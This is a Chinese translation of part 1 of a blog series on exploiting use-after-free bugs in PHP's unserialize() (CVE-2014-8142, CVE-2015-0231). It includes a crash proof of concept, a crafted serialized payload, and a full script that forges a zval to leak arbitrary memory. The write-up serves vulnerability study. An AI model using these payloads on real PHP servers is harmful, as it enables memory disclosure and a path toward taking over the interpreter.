作者:Cigital公司的安全顧問Qsl1pknotp
題目:Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 1
地址:http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html
很多人都認為,對基于Web的應用程序來說,內存崩潰類bug不是什么嚴重問題。尤其現在XSS和SQL注入類漏洞仍然大行其事的情況下,不會有多少注意力投入到這類bug中,它們會被當做“不可利用”或者被直接無視。然而,假如攻擊成功,利用這類漏洞進行攻擊所導致的結果將遠遠超出SQL注入以及XSS,因為:
1. 攻擊者將得到有保證的系統訪問權。
2. 將會很難識別惡意攻擊數據流量。
3. 需要維護者/供應商提供專門補丁,并且只能希望修補得沒有問題。
接下來筆者將發表三篇該系列攻擊的文章,本文是其中的首篇。該系列將從CVE-2014-8142的利用開始講起、然后是遠程任意信息泄露、最后以獲取PHP解釋器的控制權結束。Stefan Esser(@i0n1c)是這兩個CVE的原作者,并且是在2010年Syscan上第一個講解如何控制PHP解釋器(被稱為“ret2php”)的。
這一切都始于2004年,Esser在unserialize()函數中發現的一個Use After Free漏洞。這是一個Hardened-PHP(譯者注:如果項目中,服務器的安全性是最重要的,就可以稱為是Hardened-PHP)項目的一部分,沒有任何代碼公開。2010年,Esser又在SPLObjectStorage的unserialize()中發現另一個User After Free,這個漏洞直接產生了Syscan會上的一個發言,跟第一次漏洞一樣,本次也沒有代碼公開。最后,CVE-2014-8142被發現,又被打補丁,但是因為補丁沒打好,又導致了CVE-2015-0231。
幸運的是,這次Stefan終于給出了一個可令PHP解釋器產生故障的POC。下面的代碼就會導致有此漏洞的PHP解釋器出現問題。
#!php
<?php
for ($i=4; $i<100; $i++) {
var_dump($i);
$m = new StdClass();
$u = array(1);
$m->aaa = array(1,2,&$u,4,5);
$m->bbb = 1;
$m->ccc = &$u;
$m->ddd = str_repeat("A", $i);
$z = serialize($m);
$z = str_replace("bbb", "aaa", $z);
var_dump($z);
$y = unserialize($z);
var_dump($y);
}
?>
source: StefanEsser_Original_POC
下面來解釋下POC是如何工作的:我們通過重新添加“aaa”對象的值(不同值),來更新對象“aaa”,然而“ccc”對象其實還是指向原始“aaa”對象中的某一個值。
既然我們已經在頂層實現上知道了它的工作原理,接下來就讓我們一起試著找到問題的罪魁禍首吧。我們在process_nested_data函數中尋找,快速瀏覽一下,會發現一段特定的代碼:
讓我們一起跟進腳本中來確定真正發生了什么。我們將斷點斷在var_unserializer.c的第337行來看一下(此處位于process_nested_data函數內)。
繼續運行,跟過下面的代碼:
#!php
<?php
$data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';
$x = unserialize($data);
var_dump($x);
?>
source:StefanEsser_Original_LocalMemLeak.php
運行上面的腳本,斷點第一次命中時跳過,第二次命中時,執行下面的查看命令:
#!php
printzv *(var_entries)var_hash->first
可以看到地址的一個數組,這些地址指向unserialize()函數解析的變量值。我們感興趣的是第五個0xb7bf87c0(我們上面php代碼中用的是R:5)。既然已經得到地址,我們就去看一下內容,然后步過該斷點并繼續運行。
已經調用完該可疑函數,接下來重新看一下剛才我們選定的地址中出現了什么內容:
成功搞定!當然,還需要確認下該地址是否還在var_hash表中,然后繼續運行。
果然還在,繼續:
Sweet!已經可以泄露前面地址中的數據了。我們現在已經可以成功泄露出之前所提供字串的長度,但這其實沒什么意思。那么能不能泄露出任意內存數據呢?下面就是你想要的代碼:
#!php
<?php
$fakezval = pack(
'IIII', //unsigned int
0x08048000, //address to leak
0x0000000f, //length of string
0x00000000, //refcount
0x00000006 //data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7
);
//obj from original POC by @ion1c
$obj = 'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}';
$obj=unserialize($obj);
for($i = 0; $i < 5; $i++) { //this i value is larger than usually required
$v[$i]=$fakezval.$i; //repeat to overwrite
}
//due to the reference being overwritten by our loop above, leak memory
echo $obj->ccc;
?>
source: PHPLeak
下面是輸出數據:
我們這里做的操作是非常簡單的(希望是)。我們創建自己的ZVAL(PHP使用的內部數據結構)數據結構。我們定義了幾個東西,使pack()函數獲取我們的代碼執行。按照順序,它們是:
類型(例子中用的是unsigned int)
地址(我們想要泄露的地址)
長度(我們想要泄露內存的長度)
參考標志(0)
數據類型(6,代表String類型)
當然,如果我們沒有偽造一個string ZVAL結構,這些值是會變化的。代碼中的for循環是真正執行內存覆蓋操作(覆蓋之前釋放掉的內存),這些操作使我們得到上述的輸出數據。代碼中我令循環數$i的值大于其所需的值,只是用以確保代碼的通用性,當然我測試過的大多數機器只需要2次就可以了,不需要執行5次。
好了,現在已經可以泄露隨意地址數據了,讓我們再一起看看CVE-2015-0231?很簡單:只需將“aaa”替換成“123”,看一下輸出的數據:
通過上述過程,我們已經完成了一個可在本地泄露任意內存地址數據的POC,且該POC同時適用于兩個CVE漏洞的。我們下一步目標是仍然是數據泄露,所不同的是,將會是遠程數據泄露!
敬請期待第二回,遠程數據泄露!